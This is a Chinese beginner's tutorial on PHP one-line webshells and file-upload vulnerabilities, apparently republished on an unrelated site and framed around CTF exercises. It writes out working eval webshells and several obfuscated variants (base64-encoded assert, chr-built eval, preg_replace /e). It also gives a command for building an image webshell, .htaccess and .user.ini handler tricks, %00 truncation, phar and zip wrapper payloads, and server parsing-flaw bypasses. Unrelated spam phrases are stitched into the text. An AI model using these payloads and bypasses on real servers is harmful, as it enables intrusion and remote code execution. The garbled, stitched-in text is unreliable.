萌新之php一句话木马(上传漏洞)

萌新之php⼀句话⽊马(上传漏洞)
0x00参考⽂章
0x01 什么是⼀句话⽊马
<?php @eval($_POST['hacker']);?>
如上就是⼀句⼀句话⽊马,eval函数可以使php将post进去的内容当做代码处理
如果⽹站在⽤户上传⽂件时没有进⾏类型的过滤,使⽤户可以上传php⽂件,就可以通过上传脚本并从url访问的⽅式来连接到⽊马进⽽让⽹站后台执⾏你的恶意代码。
0x02 如何通过⼀句话⽊马执⾏命令
其实,不⽤你写
只需要将它<?php @eval($_POST['hacker']); ?>传到服务器,然后⽤菜⼑或者蚁剑连接你上传的脚本,菜⼑/蚁剑就会⾃动向服务器post相应的代码,让你得到访问服务器的权限,并可以下载和上传⽂件到服务器
0x03 eval函数
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
0x04漏洞条件
⽂件可上传
知道⽂件上传的路径
上传⽂件可以被访问
上传⽂件可以被执⾏
或者可以直接把代码写⼊服务器的php⽂件中
0x05⼀些简单绕过
1.前端可能通过javascript函数设置允许上传的⽂件类型
如碰到这种验证,你不需要懂他的代码逻辑,你只要知道,他是检测你⽂件上传的类型的,并且是js
只要js就可以在前端把它⽆效化
这⾥可以看到js函数的作⽤位置,直接把它调⽤函数的地⽅删掉,⾃然不会验证了
修改后为:
2.后端php检测⽂件后缀和content-type或⽂件头
上传php⽂件,然后bp抓包,可以将后缀改成.jpg,content-type改成别的,添加⽂件头
关于⽂件头建议⾃⼰去看,这⾥推荐⼀篇博客
⼀个修改的例⼦
注意上图中加的图⽚头为GIF89A,对应的⽂件后缀应为.gif,图中.jpg对应的应该是别的头,这⾥只是为了举个例⼦,不要深究
贴⼏个⼀般题⽬中过滤⽤到的代码
检测content-type
检测后缀
⼀般绕过后缀检测为⽅法很多,如果⼤⼩写不敏感的检测代码可以通过⼤⼩写绕过,如果是直接去除后缀的话,可以通过双写绕过
(如.pphphp,⽤操作字符串的⽅法删除中间的php留下的还是.php)
如果检测不严格,也可以⽤.php3.phtml等后缀代替.php后缀
有时也可以⽤**%00截断**绕过后缀检测
关于00截断:
条件 php版本要⼩于5.3.4
在url中%00表⽰ascll码中的0 ,⽽ascii中0作为特殊字符保留,表⽰字符串结束,所以当url中出现%00时就会认为读取已结束,如果filename是以get形式传递,例如
在get请求如 https:/xxxxxx/upfiles/?filename=test.
函数检测后缀时可能只会检测到.txt把它当做txt⽂件,但当url解析时%00会被当做结束字符,url会默认以为后⾯没有其他东西了,所以实际传⼊时把它当做test.php传⼊服务器
⽽在post请求时也可以⽤类似的⽅法,但⽐较⿇烦,可以通过bp抓包后修改⽂件内容的⼗六进制数据完成00截断,具体如图
此处a约等于上⾯的.txt,先在上传时把要截断的地⽅⽤空格占位,空格对应的⼗六进制数据为20,再bp抓包,到那个20的位置改为00即可引发00截断 (bp在这⾥看⼗六进制数据)
关于00截断涉及的漏洞还有很多,建议去⾃⾏了解
3.直接对⽂件内容进⾏检测
–1.过滤<?php
先尝试⼤⼩写能否绕过
不⾏的话,有些环境可以通过
<scrpit language="php">xxxxxxxx</script>
的⽅式绕过(但我本地环境测试时并不能解析,应该和语⾔版本之类的有关,不过做题遇到的话肯定都是有相应漏洞的)
–2.过滤eval函数
⼀般有⼏种⽅法,但思路都差不多氨基酸螯合物
<?php$x=base64_decode("YXNzZXJ0");$x($_POST['si1ence']);?>//base64编码eval,php5.x可⽤
<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(8 4).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(1 17).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>//7.php,通过chr等操作字符的函数编码,其实跟上⾯差不多,没测试过,从别⼈博客拿来的,了解⼀下
<?php@preg_replace("/abcde/e",$_POST['a'],"abcdefg");?>//preg_replace的pattern后如果有e参数,会把第⼆个参数当做代码执⾏即$_POST['a']
也可⽤assert函数,⽤法和eval⼀样,不过⼀般要过滤的话都会过滤吧
0x06制作简单的图⽚马
其实制作图⽚马⽤处不⼤,⼀般需要验证图⽚头的题直接在bp中改⼀下⽂件内容就⾏了(参见上⾯),这个只是觉得有点好玩,说⼀下⽽已制作⽅法:
在cmd中
copy normal.jpg /b + shell.php /a webshell.jpg
0x07简单例题
[攻防世界]Webshell
进⼊题⽬之后显⽰
打开中国蚁剑
右键空⽩–添加数据–写⼊url–密码这⾥他在⽹页上已经给出了,是shell
添加后双击,就可以看到服务器的⽂件列表了
加密代理
这道题⽐较简单,题⽬已经帮你写好了脚本并传上去了,⼀般的题需要到⽂件上传的位置,⾃⼰将脚本上传上去,到上传到的位置然后连接
0x08 .user.ini和.htaccess⽂件
1…htaccess
htaccess⽂件是Apache服务器中的⼀个配置⽂件,它负责相关⽬录下的⽹页配置。通过htaccess⽂件,可以帮我们实现:⽹页301重定向、⾃定义404错误页⾯、改变⽂件扩展名、允许/阻⽌特定的⽤
户或者⽬录的访问、禁⽌⽬录列表、配置默认⽂档等功能。
如果上传了.htaccess到服务器,服务器会在解析同⽬录下的⽂件时按照其中制定的规则进⾏
如写⼊
<FilesMatch "test"> SetHandler application/x-httpd-php </FilesMatch>
并上传
则会将所有名称中有test的⽂件,当做php⽂件解析,像test.jpg这种
爱你爱到骨头里
不过这种⽅法的局限性在于⼀定要在Apache配置的服务器下,且系统管理员要给⽤户修改.htaccess的权限
2…user.ini
载体构建简单来说,如果服务器管理员允许了⽤户设置.user.ini,⽤户就可以通过上传这个⽂件来修改服务器端php的配置,⼀般经常⽤到的配置语句有两个
auto_prepend_file=xxx auto_append_file=xxx
这两句配置会将指定的⽂件xxx包含在index.php中
这样在⼀些⽆法得知上传⽂件存储路径的情况下,只要先后传⼊.user.ini和xxx,就可以直接蚁剑等连接index.php,进⽽连接服务器
⼀道例题
buuoj-[SUCTF]CheckIn
0x09web应⽤程序漏洞
1. Apache解析漏洞
解析:test.php.(任意不属于⿊名单且也不属于Apache解析⽩名单的名称),⽐如test.php.lala
描述:⼀个⽂件名为test.x1.x2.x3的⽂件,apache会从x3的位置开始尝试解析,如果x3不属于apache
第一线集团
能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为⽌,否则就会报错
2. IIS解析漏洞
解析 :test.asp/(任意⽂件名)|test.asp;(任意⽂件名) | (任意⽂件名)/(任意⽂件名).php
描述:IIS6.0在解析asp格式的时候有两个解析漏洞,⼀个是如果⽬录名包含".asp"字符串,发酵饲料
那么这个⽬录下所有的⽂件都会按照asp去解析,另⼀个是只要⽂件名中含有".asp;“会优先按asp来解析,IIS7.0/7.5是对php解析时有⼀个类似于Nginx的解析漏洞,对任意⽂件名只要在URL后⾯追加上字符串”/任意⽂件名.php"就会按照php的⽅式去解析;
3. Nginx解析漏洞
解析: (任意⽂件名)/(任意⽂件名).php | (任意⽂件名)%00.php
描述:⽬前Nginx主要有这两种漏洞,⼀个是对任意⽂件名,在后⾯添加/任意⽂件名.php的解析漏洞,⽐如原本⽂件名是test.jpg,可以添加为test.jpg/x.php进⾏解析攻击。
还有⼀种是对低版本的Nginx可以在任意⽂件名后⾯添加%00.php进⾏解析攻击。
0x10
php伪协议phar和zip的使⽤
讲马放进zip或phar⽂件,再把后缀改成png过⼀些上传图⽚的验证
然后这样连接
phar的payload:?page=phar://var/www/html/assets/img/upload/xxx.png/shell
zip的payload:?page=zip://var/www/html/assets/img/upload/xxx.png%23shell
0x11条件竞争
竞争条件发⽣在多个线程同时访问同⼀个共享代码、变量、⽂件等没有进⾏锁操作或者同步操作的场景中。
开发者在进⾏代码开发时常常倾向于认为代码会以线性的⽅式执⾏,但他们忽视了并⾏服务器会并发执⾏多个线程,这就会导致意想不到的结果。
其实也就是当同时并发多个线程去做同⼀件事,导致处理逻辑的代码出错,出现意想不到的结果。
例如银⾏提现问题:
现有⼀个⽤户在系统中共有2000元可以提现,他想全部提现。该⽤户同时发起两次提现请求,第⼀次提交请求提现2000元,系统已经创建了提现订单但还未来得及修改该⽤户剩余⾦额,此时第⼆次提现请求同样是提现2000元,于是程序在还未修改完上⼀次请求后的余额前就进⾏了余额判断,显然如果这⾥余额判断速度快于上⼀次余额修改速度,将会产⽣成功提现的两次订单,⽽数据库中余额也将变为-2000。⽽这产⽣的后果将会是平台多向该⽤户付出2000元。

本文发布于:2024-09-22 15:30:36,感谢您对本站的认可!

本文链接:https://www.17tex.com/xueshu/159549.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:解析   代码   服务器   上传   提现   后缀   漏洞   函数
留言与评论(共有 0 条评论)
   
验证码:
Copyright ©2019-2024 Comsenz Inc.Powered by © 易纺专利技术学习网 豫ICP备2022007602号 豫公网安备41160202000603 站长QQ:729038198 关于我们 投诉建议